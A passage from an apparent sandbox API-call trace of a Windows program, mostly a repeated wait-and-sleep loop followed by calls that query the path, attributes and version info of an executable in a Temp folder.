dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0145.844] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0145.878] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0145.987] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0146.035] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0146.175] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0146.224] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0146.380] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0146.424] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0146.690] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0146.736] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0146.876] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0146.941] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0147.095] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0147.142] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0147.282] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0147.305] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0147.407] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0147.423] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0147.532] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0147.547] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0147.657] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0147.672] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0147.781] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0147.797] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0147.906] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0147.922] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0148.031] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0148.046] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0148.156] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0148.171] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0148.281] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0148.296] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0148.406] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0148.421] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0148.531] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0148.546] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0148.655] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0148.670] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0148.781] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0148.799] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0148.905] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0148.920] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0149.030] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0149.045] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0149.157] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0149.170] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0149.279] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0149.294] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0149.404] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0149.422] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0149.529] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0149.547] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0149.654] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0149.669] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0149.779] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0149.794] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0149.903] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0149.919] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0150.028] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0150.043] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0150.159] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0150.168] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0150.278] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0150.293] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0150.403] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0150.418] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0150.528] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0150.542] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0150.654] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0150.667] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0150.777] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0150.792] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0150.902] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0150.917] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0151.027] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0151.043] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0151.151] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0151.166] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0151.276] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0151.291] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0151.401] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0151.416] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0151.526] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0151.541] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0151.650] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0151.676] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0151.775] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0151.790] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0151.916] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0151.965] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0152.088] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0152.183] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0152.352] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0152.416] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0152.563] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0152.602] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0152.727] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0152.774] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0152.914] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0152.961] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0153.086] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0153.132] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0153.272] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0153.319] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0153.460] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0153.506] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0153.647] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0153.709] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0153.836] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0153.881] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0154.021] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0154.068] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0154.177] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0154.240] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0154.367] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0154.424] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0154.561] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0154.598] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0154.723] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0154.742] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0154.848] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0154.866] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0155.005] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0155.062] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0155.196] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0155.207] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0155.316] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0155.332] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0155.441] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0155.456] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0155.566] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0155.592] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0155.691] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0155.706] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0155.816] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0155.862] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0155.972] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0155.987] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0156.096] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0156.112] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0156.221] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0156.236] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0156.346] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0156.363] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0156.471] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0156.486] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0156.606] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0156.611] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0156.721] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0156.736] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0156.845] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0156.860] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0156.970] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0156.985] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0157.095] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0157.110] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0157.220] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0157.237] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0157.344] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0157.360] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0157.472] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0157.484] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0157.606] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0157.609] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0157.719] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0157.734] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0157.843] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0157.862] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0157.968] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0157.984] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0158.093] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0158.108] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0158.218] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0158.233] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0158.343] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0158.358] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0158.467] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0158.483] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0158.639] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0158.654] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0158.764] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0158.811] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0158.951] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0158.979] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0159.076] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0159.092] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0159.201] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0159.216] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0159.325] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0159.341] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0159.450] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0159.466] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0159.575] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0159.601] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0159.731] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0159.778] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0159.918] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0159.965] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0160.075] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0160.122] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0160.261] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0160.308] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0160.448] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0160.497] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0160.636] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0160.651] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0161.251] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0161.291] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0161.405] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0161.447] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0161.579] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0161.619] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0161.759] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0161.835] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0161.858] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 1 [0161.858] LocalAlloc (uFlags=0x0, uBytes=0x2) returned 0x1a570e00 [0161.859] PostMessageW (hWnd=0x4011e, Msg=0x201a, wParam=0x14, lParam=0x1a570e00) returned 1 [0161.859] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x1a, wParam=0x14, lParam=0x1ba3ef78) returned 0x0 [0161.864] TranslateMessage (lpMsg=0x1ba3f0e8) returned 0 [0161.864] DispatchMessageW (lpMsg=0x1ba3f0e8) [0161.881] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", nBufferLength=0x105, lpBuffer=0x1ba3e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", lpFilePart=0x0) returned 0x3a [0161.881] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", nBufferLength=0x105, lpBuffer=0x1ba3e320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", lpFilePart=0x0) returned 0x3a [0161.882] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", nBufferLength=0x105, lpBuffer=0x1ba3e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", lpFilePart=0x0) returned 0x3a [0161.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ba3e870) returned 1 [0161.882] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\uw40n.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ba3e950 | out: lpFileInformation=0x1ba3e950*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9b2b3b50, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0x9b2b3b50, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa49b100, ftLastWriteTime.dwHighDateTime=0x1d60163, nFileSizeHigh=0x0, nFileSizeLow=0x28200)) returned 1 [0161.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ba3e830) returned 1 [0161.883] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", lpdwHandle=0x1ba3ea28 | out: lpdwHandle=0x1ba3ea28) returned 0x5dc [0161.885] GetFileVersionInfoW (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UW40N.exe", dwHandle=0x0, dwLen=0x5dc, lpData=0x222a968 | out: lpData=0x222a968) returned 1 [0161.885] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ba3e9a8, puLen=0x1ba3e9a0 | out: lplpBuffer=0x1ba3e9a8*=0x222aa04, puLen=0x1ba3e9a0) returned 1 [0161.887] 